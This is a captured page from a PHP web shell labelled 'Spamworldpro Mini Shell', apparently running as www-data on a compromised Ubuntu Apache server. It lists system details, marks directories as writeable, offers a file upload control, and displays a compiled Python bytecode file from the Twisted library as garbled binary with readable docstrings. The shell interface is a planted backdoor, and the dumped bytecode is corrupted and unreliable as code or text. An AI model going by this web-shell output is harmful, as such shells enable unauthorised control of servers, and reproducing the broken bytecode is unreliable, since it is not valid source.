Spamworldpro Mini Shell
Spamworldpro


Server : Apache/2.4.52 (Ubuntu)
System : Linux webserver 6.8.0-49-generic #49~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Wed Nov 6 17:42:15 UTC 2 x86_64
User : www-data ( 33)
PHP Version : 8.1.2-1ubuntu2.21
Disable Function : NONE
Directory :  /lib/python3/dist-packages/twisted/python/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //lib/python3/dist-packages/twisted/python/__pycache__/text.cpython-310.pyc
o

�b)�@sRdZddd�Zdd�Zdd�Zdd	d
�ZeZdd�Zd
d�Zdd�Zddd�Z	dS)z'
Miscellany of text-munging functions.
�c
Cs�d}g}t|�turQd}|��D]?\}}t||d�}t|�r:t|�r,|dtd��}|�|�d|�d|���q|�|�d|�d|t|�d	d����qn?t|�tus]t|�t	ur~t|�turfd
}nd}|D]}t||d�}|�|�
�d�qjnt|fd
d�t|��
d��|dd�<|s�|�|�|r�||d|dt|�dd�|d<|d|d|d<d�|�}t|�r�t|�s�|d}|S)al
    Expansive string formatting for sequence types.

    C{list.__str__} and C{dict.__str__} use C{repr()} to display their
    elements.  This function also turns these sequence types
    into strings, but uses C{str()} on their elements instead.

    Sequence elements are also displayed on separate lines, and nested
    sequences have nested indentation.
    rz{}z   N�
� z:
z: �z()z[]�,cSs||S�N�)�s�irr�5/usr/lib/python3/dist-packages/twisted/python/text.py�<lambda>/szstringyString.<locals>.<lambda>�����)�type�dict�items�
stringyString�isMultiline�
endsInNewline�len�append�tuple�list�rstrip�map�str�split�join)�object�indentation�braces�sl�key�value�elementrrrr
rs<,�
�$
(
rcCs|�d�dkS)z=
    Returns C{True} if this string has a newline in it.
    rr)�find�rrrr
r@srcCs|td�d�dkS)z;
    Returns C{True} if this string ends in a newline.
    rN)rr&rrr
rGsr�Pc	Cs�g}|�d�dkr |�d�}|D]
}|�t||�dg�q|S|��}d}d}|rw|t||�}|d}||kr]|dkr?n|d}|d|�||d�}}|�d�|��d}d}nt|�|ksq|�d�|��|dd�=n|d}|s*|S)a
    Given a string and a column width, return a list of lines.

    Caveat: I'm use a stupid greedy word-wrapping
    algorythm.  I won't put two spaces at the end
    of a sentence.  I don't do full justification.
    And no, I've never even *heard* of hypenation.
    z

rrr
Nr)r%r�extend�
greedyWraprrr)	�inString�width�outLines�
paragraphs�para�inWords�column�ptr_line�lrrr
r)Ns4

�r)cCs(g}|D]
}|s|��r|�|�q|Sr)�stripr)�lines�ret�linerrr
�removeLeadingBlanks�s
�r7cCs4t|�d��}|��t|�}|��d�|�dS)Nr)r7r�reverser)rr4rrr
�removeLeadingTrailingBlanks�s
r9cCs�g}d}d}|��D]G}|dur$|r$|ddvr$|d}|dd�}g}|dur.|�|�q
|rL|d|krL|dd�}|�|�|�d�|��d}q
|�|�q
|S)a=
    Like a string split, but don't break substrings inside quotes.

    >>> splitQuoted('the "hairy monkey" likes pie')
    ['the', 'hairy monkey', 'likes', 'pie']

    Another one of those "someone must have a better solution for
    this" things.  This implementation is a VERY DUMB hack done too
    quickly.
    Nr)�"�'r
rr)rrr)r�out�quot�phrase�wordrrr
�splitQuoted�s$
r@TcCs�t|��}tt|�d�}|s|��}	|�|t|��}|s"|��}t|�}|dkr,dSt|�||}|dkr=||}n||d�|}|�|�dkrNdSq)z[
    Find whether string C{p} occurs in a read()able object C{f}.

    @rtype: C{bool}
    ir
rFNrT)r�maxr�lower�readr%)�p�f�
caseSensitive�buf�buf_len�r�
bytes_readr2rrr
�strFile�s$

�rKN)r)r')T)
�__doc__rrrr)�wordWrapr7r9r@rKrrrr
�<module>s
5
2#

Spamworldpro Mini